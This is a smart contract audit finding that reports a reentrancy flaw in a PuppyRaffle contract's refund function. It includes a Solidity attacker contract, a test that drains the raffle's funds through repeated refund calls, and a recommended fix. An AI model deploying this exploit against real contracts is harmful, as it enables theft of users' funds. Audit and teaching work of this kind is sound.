Summary
An attacker can re-enter the refund function and drain all funds
Vulnerability Details
The refund function does not follow the checks, effects interactions pattern and does not include a nonreentrant modifier. This means an attacker can claim a refund multiple times.
Impact
An attacker can steal all funds
POC
contract Attacker {
address public target;
uint public index;
constructor(address _target) payable {
target = _target;
}
function attack() external {
address[] memory players = new address[](1);
players[0] = address(this);
PuppyRaffle(target).enterRaffle{value: 1e18}(players);
index = PuppyRaffle(target).getActivePlayerIndex(address(this));
PuppyRaffle(target).refund(index);
}
receive() external payable {
uint256 balance = address(target).balance;
if (balance > 0) {
PuppyRaffle(target).refund(index);
}
}
}
function testRefundMultipleTimes() public playersEntered {
Attacker attacker = new Attacker{value: 2 ether}(address(puppyRaffle));
uint256 attackerBalanceBefore = address(attacker).balance;
attacker.attack();
uint256 attackerBalanceAfter = address(attacker).balance;
}
Tools Used
Manual Review
Recommendations
Follow the checks, effects, interactions pattern and/or add a nonreentrant modifier